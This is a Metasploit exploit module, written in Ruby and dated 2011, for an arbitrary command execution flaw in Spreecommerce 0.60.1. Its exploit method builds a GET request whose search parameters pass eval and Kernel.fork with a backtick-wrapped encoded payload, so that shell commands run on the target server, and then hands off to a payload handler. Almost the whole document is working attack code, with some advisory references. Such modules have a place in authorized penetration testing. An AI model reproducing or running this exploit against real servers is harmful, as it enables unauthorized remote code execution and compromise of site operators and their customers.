require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Spreecommerce 0.60.1 Arbitrary Command Execution',
            'Description'    => %q{
                    This module exploits an arbitrary command execution vulnerability in the
                    Spreecommerce search. Unvalidated input is called via the
                    Ruby send method allowing command execution.
            },
            'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ], #Phenoelit
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 13831 $',
            'References'     =>
                [
                    [ 'OSVDB', '76011'],
                    [ 'URL', 'http://spreecommerce.com/blog/2011/10/05/remote-command-product-group/' ],
                ],
            'Privileged'     => false,
            'Payload'        =>
                {
                    'BadChars' => "\x60",
                    'DisableNops' => true,
                    'Space'       => 31337,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                        }
                },
            'Platform'       => [ 'unix', 'linux' ],
            'Arch'           => ARCH_CMD,
            'Targets'        => [[ 'Automatic', { }]],
            'DefaultTarget'  => 0))

            register_options(
                [
                    OptString.new('URI', [true, "The path to the Spreecommerce main site", "/"]),
                ], self.class)
    end

    def exploit
        command = Rex::Text.uri_encode(payload.raw, 'hex-all')
        res = send_request_raw({
            'uri'     => datastore['URI']+ "?search[send][]=eval&search[send][]=Kernel.fork%20do%60#{command}%60end",
            'method'  => 'GET',
            'headers' =>
            {
                'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
                'Connection' => 'Close',
            }
        }, 0.4 ) #short timeout, we don't care about the response

        if (res)
            print_status("The server returned: #{res.code} #{res.message}")
        end

        handler
    end

end


# [2011-10-07]